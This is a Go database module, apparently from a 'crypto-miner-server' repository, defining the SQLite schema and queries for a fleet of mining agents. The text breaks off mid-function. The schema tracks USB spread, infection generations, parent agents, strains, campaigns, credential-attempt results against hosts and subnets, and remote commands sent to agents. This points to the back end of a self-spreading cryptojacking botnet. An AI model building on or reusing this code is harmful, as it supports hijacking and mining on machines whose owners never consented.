d605ef4adb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
703 lines
26 KiB
Go
703 lines
26 KiB
Go
package db
|
|
|
|
import (
|
|
"database/sql"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
_ "modernc.org/sqlite"
|
|
)
|
|
|
|
type Database struct {
|
|
*sql.DB
|
|
}
|
|
|
|
func New(dataDir string) (*Database, error) {
|
|
dbPath := filepath.Join(dataDir, "miner.db")
|
|
|
|
if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
|
|
return nil, fmt.Errorf("create data directory: %w", err)
|
|
}
|
|
|
|
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
|
|
if err != nil {
|
|
return nil, fmt.Errorf("failed to open database: %w", err)
|
|
}
|
|
// SQLite only supports one concurrent writer; a single open connection
|
|
// avoids WAL write-lock contention and SQLITE_BUSY under load.
|
|
db.SetMaxOpenConns(1)
|
|
|
|
d := &Database{db}
|
|
if err := d.migrate(); err != nil {
|
|
return nil, fmt.Errorf("failed to migrate database: %w", err)
|
|
}
|
|
|
|
return d, nil
|
|
}
|
|
|
|
func (d *Database) migrate() error {
|
|
migrations := []string{
|
|
`CREATE TABLE IF NOT EXISTS agents (
|
|
id TEXT PRIMARY KEY,
|
|
name TEXT NOT NULL,
|
|
wallet TEXT NOT NULL DEFAULT '',
|
|
ip TEXT NOT NULL DEFAULT '',
|
|
version TEXT NOT NULL DEFAULT '',
|
|
status TEXT NOT NULL DEFAULT 'offline',
|
|
cpu_cores INTEGER NOT NULL DEFAULT 0,
|
|
memory_gb INTEGER NOT NULL DEFAULT 0,
|
|
last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
hashrate_15s REAL NOT NULL DEFAULT 0,
|
|
hashrate_1m REAL NOT NULL DEFAULT 0,
|
|
hashrate_15m REAL NOT NULL DEFAULT 0,
|
|
shares_total INTEGER NOT NULL DEFAULT 0,
|
|
shares_good INTEGER NOT NULL DEFAULT 0,
|
|
shares_bad INTEGER NOT NULL DEFAULT 0,
|
|
cpu_usage_pct REAL NOT NULL DEFAULT 0,
|
|
memory_usage_pct REAL NOT NULL DEFAULT 0,
|
|
uptime_seconds INTEGER NOT NULL DEFAULT 0
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS shares (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
agent_id TEXT NOT NULL,
|
|
job_id TEXT NOT NULL,
|
|
difficulty INTEGER NOT NULL DEFAULT 0,
|
|
accepted INTEGER NOT NULL DEFAULT 0,
|
|
hash TEXT NOT NULL DEFAULT '',
|
|
nonce TEXT NOT NULL DEFAULT '',
|
|
error TEXT NOT NULL DEFAULT '',
|
|
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS hashrate_samples (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
agent_id TEXT NOT NULL,
|
|
hashrate REAL NOT NULL DEFAULT 0,
|
|
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS jobs (
|
|
id TEXT PRIMARY KEY,
|
|
height INTEGER NOT NULL DEFAULT 0,
|
|
difficulty INTEGER NOT NULL DEFAULT 0,
|
|
block_template TEXT NOT NULL DEFAULT '',
|
|
seed_hash TEXT NOT NULL DEFAULT '',
|
|
target TEXT NOT NULL DEFAULT '',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS builds (
|
|
id TEXT PRIMARY KEY,
|
|
worker_name TEXT NOT NULL,
|
|
server_url TEXT NOT NULL,
|
|
wallet TEXT NOT NULL,
|
|
threads INTEGER NOT NULL DEFAULT 0,
|
|
file_size INTEGER NOT NULL DEFAULT 0,
|
|
file_path TEXT NOT NULL DEFAULT '',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
pool_host TEXT NOT NULL DEFAULT '',
|
|
pool_port INTEGER NOT NULL DEFAULT 0,
|
|
pool_tls INTEGER NOT NULL DEFAULT 0,
|
|
pool_pass TEXT NOT NULL DEFAULT ''
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_shares_agent ON shares(agent_id)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_shares_timestamp ON shares(timestamp)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_hashrate_agent ON hashrate_samples(agent_id)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_hashrate_timestamp ON hashrate_samples(timestamp)`,
|
|
}
|
|
|
|
for _, m := range migrations {
|
|
if _, err := d.Exec(m); err != nil {
|
|
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
|
}
|
|
}
|
|
|
|
// Best-effort schema upgrades for existing databases.
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_source_strain TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_tier TEXT NOT NULL DEFAULT ''`)
|
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_approved_at DATETIME`)
|
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
|
|
|
extraMigrations := []string{
|
|
`CREATE TABLE IF NOT EXISTS audit_log (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
username TEXT NOT NULL DEFAULT '',
|
|
action TEXT NOT NULL,
|
|
agent_id TEXT NOT NULL DEFAULT '',
|
|
detail TEXT NOT NULL DEFAULT '{}'
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
|
|
`CREATE TABLE IF NOT EXISTS fleet_tasks (
|
|
id TEXT PRIMARY KEY,
|
|
name TEXT NOT NULL,
|
|
enabled INTEGER NOT NULL DEFAULT 1,
|
|
trigger TEXT NOT NULL,
|
|
interval_hours REAL NOT NULL DEFAULT 0,
|
|
cron_time TEXT NOT NULL DEFAULT '',
|
|
action TEXT NOT NULL,
|
|
command TEXT NOT NULL DEFAULT '',
|
|
target TEXT NOT NULL DEFAULT 'all',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
|
|
agent_id TEXT NOT NULL,
|
|
task_id TEXT NOT NULL,
|
|
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
PRIMARY KEY (agent_id, task_id)
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS campaign_hits (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
campaign TEXT NOT NULL DEFAULT '',
|
|
build_id TEXT NOT NULL DEFAULT '',
|
|
source TEXT NOT NULL DEFAULT '',
|
|
event_type TEXT NOT NULL DEFAULT '',
|
|
ip TEXT NOT NULL DEFAULT '',
|
|
user_agent TEXT NOT NULL DEFAULT '',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
|
|
`CREATE TABLE IF NOT EXISTS cred_edges (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
host TEXT NOT NULL,
|
|
subnet TEXT NOT NULL,
|
|
credential_profile_id TEXT NOT NULL,
|
|
success INTEGER NOT NULL DEFAULT 0,
|
|
method TEXT NOT NULL DEFAULT '',
|
|
agent_id TEXT NOT NULL DEFAULT '',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
|
`CREATE TABLE IF NOT EXISTS tier_outcomes (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
agent_id TEXT NOT NULL,
|
|
fingerprint_key TEXT NOT NULL,
|
|
tier TEXT NOT NULL,
|
|
ok INTEGER NOT NULL DEFAULT 0,
|
|
hashrate REAL NOT NULL DEFAULT 0,
|
|
phase TEXT NOT NULL DEFAULT 'mining',
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
|
|
`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
|
|
agent_id TEXT PRIMARY KEY,
|
|
fingerprint_key TEXT NOT NULL,
|
|
strategy_json TEXT NOT NULL,
|
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE TABLE IF NOT EXISTS failure_atlas (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
fingerprint_bucket TEXT NOT NULL,
|
|
condition TEXT NOT NULL,
|
|
tier TEXT NOT NULL,
|
|
fail_count INTEGER NOT NULL DEFAULT 0,
|
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
UNIQUE(fingerprint_bucket, condition, tier)
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`,
|
|
`CREATE TABLE IF NOT EXISTS fleet_phenotypes (
|
|
id TEXT PRIMARY KEY,
|
|
fingerprint TEXT NOT NULL UNIQUE,
|
|
source_agent_id TEXT NOT NULL,
|
|
source_agent_name TEXT NOT NULL,
|
|
os TEXT NOT NULL DEFAULT '',
|
|
spread_lane TEXT NOT NULL DEFAULT '',
|
|
active_tier TEXT NOT NULL DEFAULT '',
|
|
tier_order_json TEXT NOT NULL DEFAULT '[]',
|
|
peak_hashrate REAL NOT NULL DEFAULT 0,
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
|
|
`CREATE TABLE IF NOT EXISTS strain_cards (
|
|
id TEXT PRIMARY KEY,
|
|
root_agent_id TEXT NOT NULL UNIQUE,
|
|
source_agent_id TEXT NOT NULL,
|
|
source_agent_name TEXT NOT NULL DEFAULT '',
|
|
spread_strain TEXT NOT NULL DEFAULT '',
|
|
spread_lane TEXT NOT NULL DEFAULT '',
|
|
persona TEXT NOT NULL DEFAULT 'balanced',
|
|
card_json TEXT NOT NULL DEFAULT '{}',
|
|
peak_hashrate REAL NOT NULL DEFAULT 0,
|
|
erasure_recovery_rate REAL NOT NULL DEFAULT 0,
|
|
tree_size INTEGER NOT NULL DEFAULT 0,
|
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_strain_cards_source ON strain_cards(source_agent_id)`,
|
|
`CREATE TABLE IF NOT EXISTS pathtrace_sessions (
|
|
id TEXT PRIMARY KEY,
|
|
created_at DATETIME NOT NULL,
|
|
payload TEXT NOT NULL
|
|
)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`,
|
|
}
|
|
if err := d.ensureStrainMemoryTable(); err != nil {
|
|
return fmt.Errorf("strain_memory migration: %w", err)
|
|
}
|
|
if err := d.ensureStrainHospiceTable(); err != nil {
|
|
return fmt.Errorf("strain_hospice migration: %w", err)
|
|
}
|
|
if err := d.ensureOathLedgerTable(); err != nil {
|
|
return fmt.Errorf("oath_ledger migration: %w", err)
|
|
}
|
|
if err := d.ensureSeerTables(); err != nil {
|
|
return fmt.Errorf("seer migration: %w", err)
|
|
}
|
|
for _, m := range extraMigrations {
|
|
if _, err := d.Exec(m); err != nil {
|
|
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
|
}
|
|
}
|
|
_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
|
|
|
|
scaleIndexes := []string{
|
|
`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_agents_status_last_seen ON agents(status, last_seen)`,
|
|
`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
|
|
}
|
|
for _, m := range scaleIndexes {
|
|
if _, err := d.Exec(m); err != nil {
|
|
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// Agent operations
|
|
|
|
func (d *Database) UpsertAgent(a *models.Agent) error {
|
|
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain)
|
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|
ON CONFLICT(id) DO UPDATE SET
|
|
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
|
|
wallet = excluded.wallet,
|
|
ip = excluded.ip,
|
|
version = excluded.version,
|
|
status = excluded.status,
|
|
cpu_cores = excluded.cpu_cores,
|
|
memory_gb = excluded.memory_gb,
|
|
last_seen = excluded.last_seen,
|
|
platform = excluded.platform,
|
|
arch = excluded.arch,
|
|
os_version = excluded.os_version,
|
|
hostname = excluded.hostname,
|
|
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
|
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
|
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
|
usb_spread = excluded.usb_spread,
|
|
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END,
|
|
parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END,
|
|
spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END,
|
|
spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END`
|
|
usb := 0
|
|
if a.USBSpread {
|
|
usb = 1
|
|
}
|
|
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate15m float64, sharesTotal, sharesGood, sharesBad int, cpuPct, memPct float64, uptime int) error {
|
|
query := `UPDATE agents SET
|
|
hashrate_15s = ?, hashrate_1m = ?, hashrate_15m = ?,
|
|
shares_total = ?, shares_good = ?, shares_bad = ?,
|
|
cpu_usage_pct = ?, memory_usage_pct = ?, uptime_seconds = ?,
|
|
last_seen = CURRENT_TIMESTAMP, status = 'online'
|
|
WHERE id = ?`
|
|
_, err := d.Exec(query, hashrate15s, hashrate1m, hashrate15m, sharesTotal, sharesGood, sharesBad, cpuPct, memPct, uptime, id)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
|
|
_, err := d.Exec(
|
|
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
|
|
hashrate, model, boolToInt(active), agentID,
|
|
)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) SetAgentOffline(id string) error {
|
|
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
|
|
return err
|
|
}
|
|
|
|
// MarkAllAgentsOffline resets every agent row to offline. Called once at
|
|
// server startup so rows left online by a previous crash are corrected
|
|
// before any agent has had a chance to reconnect.
|
|
func (d *Database) MarkAllAgentsOffline() error {
|
|
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE status = 'online'")
|
|
return err
|
|
}
|
|
|
|
// MarkStaleAgentsOffline marks agents offline when their last_seen timestamp
|
|
// is older than the given staleness threshold. Returns the number of rows
|
|
// updated so the caller can emit a log line when something actually changed.
|
|
func (d *Database) MarkStaleAgentsOffline(olderThan time.Duration) (int, error) {
|
|
cutoff := time.Now().Add(-olderThan)
|
|
res, err := d.Exec(
|
|
"UPDATE agents SET status = 'offline' WHERE status = 'online' AND last_seen < ?",
|
|
cutoff,
|
|
)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
n, _ := res.RowsAffected()
|
|
return int(n), nil
|
|
}
|
|
|
|
func (d *Database) DeleteAgent(id string) error {
|
|
_, err := d.Exec("DELETE FROM agents WHERE id = ?", id)
|
|
return err
|
|
}
|
|
|
|
// FindAgentByMAC returns the agent ID for an agent whose MAC address matches.
|
|
// Returns ("", nil) when no match is found.
|
|
func (d *Database) FindAgentByMAC(mac string) (string, error) {
|
|
if mac == "" {
|
|
return "", nil
|
|
}
|
|
var id string
|
|
err := d.QueryRow("SELECT id FROM agents WHERE mac_address = ? LIMIT 1", mac).Scan(&id)
|
|
if err == sql.ErrNoRows {
|
|
return "", nil
|
|
}
|
|
return id, err
|
|
}
|
|
|
|
func (d *Database) GetAgent(id string) (*models.Agent, error) {
|
|
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
|
|
return d.scanAgent(d.QueryRow(query, id))
|
|
}
|
|
|
|
func (d *Database) ListAgents() ([]*models.Agent, error) {
|
|
query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
|
|
rows, err := d.Query(query)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
|
|
var agents []*models.Agent
|
|
for rows.Next() {
|
|
a, err := d.scanAgent(rows)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
agents = append(agents, a)
|
|
}
|
|
if err := rows.Err(); err != nil {
|
|
return nil, err
|
|
}
|
|
return agents, nil
|
|
}
|
|
|
|
// Share operations
|
|
|
|
func (d *Database) InsertShare(s *models.Share) (int64, error) {
|
|
query := `INSERT INTO shares (agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
|
|
res, err := d.Exec(query, s.AgentID, s.JobID, s.Difficulty, boolToInt(s.Accepted), s.Hash, s.Nonce, s.Error, s.Timestamp)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
return res.LastInsertId()
|
|
}
|
|
|
|
func (d *Database) UpdateShareResult(id int64, accepted bool, errMsg string) error {
|
|
query := `UPDATE shares SET accepted = ?, error = ? WHERE id = ?`
|
|
_, err := d.Exec(query, boolToInt(accepted), errMsg, id)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
|
|
query := `SELECT id, agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp FROM shares ORDER BY timestamp DESC LIMIT ?`
|
|
rows, err := d.Query(query, limit)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
|
|
var shares []*models.Share
|
|
for rows.Next() {
|
|
s := &models.Share{}
|
|
var accepted int
|
|
if err := rows.Scan(&s.ID, &s.AgentID, &s.JobID, &s.Difficulty, &accepted, &s.Hash, &s.Nonce, &s.Error, &s.Timestamp); err != nil {
|
|
return nil, err
|
|
}
|
|
s.Accepted = accepted == 1
|
|
shares = append(shares, s)
|
|
}
|
|
if err := rows.Err(); err != nil {
|
|
return nil, err
|
|
}
|
|
return shares, nil
|
|
}
|
|
|
|
// Hashrate operations
|
|
|
|
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
|
|
_, err := d.Exec(
|
|
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
|
|
agentID, hashrate, gpuHashrate, time.Now(),
|
|
)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
|
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
|
rows, err := d.Query(query, agentID, limit)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
|
|
var samples []*models.HashrateSample
|
|
for rows.Next() {
|
|
s := &models.HashrateSample{}
|
|
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
|
|
return nil, err
|
|
}
|
|
samples = append(samples, s)
|
|
}
|
|
if err := rows.Err(); err != nil {
|
|
return nil, err
|
|
}
|
|
return samples, nil
|
|
}
|
|
|
|
// Build operations
|
|
|
|
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
|
|
|
|
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
|
if len(files) == 0 {
|
|
return "[]"
|
|
}
|
|
b, err := json.Marshal(files)
|
|
if err != nil {
|
|
return "[]"
|
|
}
|
|
return string(b)
|
|
}
|
|
|
|
func decodeBuildExtraFiles(raw string) []models.BuildExtraFile {
|
|
raw = strings.TrimSpace(raw)
|
|
if raw == "" || raw == "[]" || raw == "null" {
|
|
return nil
|
|
}
|
|
var files []models.BuildExtraFile
|
|
if err := json.Unmarshal([]byte(raw), &files); err != nil {
|
|
return nil
|
|
}
|
|
return files
|
|
}
|
|
|
|
func scanBuild(row interface {
|
|
Scan(...any) error
|
|
}) (*models.BuildRecord, error) {
|
|
b := &models.BuildRecord{}
|
|
var pinnedInt, publicInt int
|
|
var extraFilesRaw string
|
|
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
|
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
|
|
b.Pinned = pinnedInt == 1
|
|
b.Public = publicInt == 1
|
|
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
|
return b, err
|
|
}
|
|
|
|
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
|
_, err := d.Exec(`INSERT INTO builds
|
|
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
|
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
|
b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt,
|
|
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
|
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
|
}
|
|
|
|
// GetLatestBuildForPlatform returns the pinned build for the given platform
|
|
// (or any platform when empty), falling back to the most-recently-created build.
|
|
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
|
// 1. Pinned build for this platform (exact match)
|
|
if platform != "" && platform != "any" {
|
|
b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
|
|
if err == nil {
|
|
return b, nil
|
|
}
|
|
}
|
|
// 2. Any pinned build (universal or first pinned regardless of platform)
|
|
b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
|
|
if err == nil {
|
|
return b, nil
|
|
}
|
|
// 3. Latest by creation time, filtered by platform when given
|
|
if platform == "" || platform == "any" {
|
|
b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
|
|
} else {
|
|
b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return b, nil
|
|
}
|
|
|
|
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
|
// If id is empty, all builds are unpinned. Returns an error when id is
|
|
// non-empty but no build row matches (avoids leaving all builds unpinned).
|
|
// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
|
|
// the table in a half-pinned state.
|
|
func (d *Database) SetPinnedBuild(id string) error {
|
|
tx, err := d.Begin()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer tx.Rollback() //nolint:errcheck
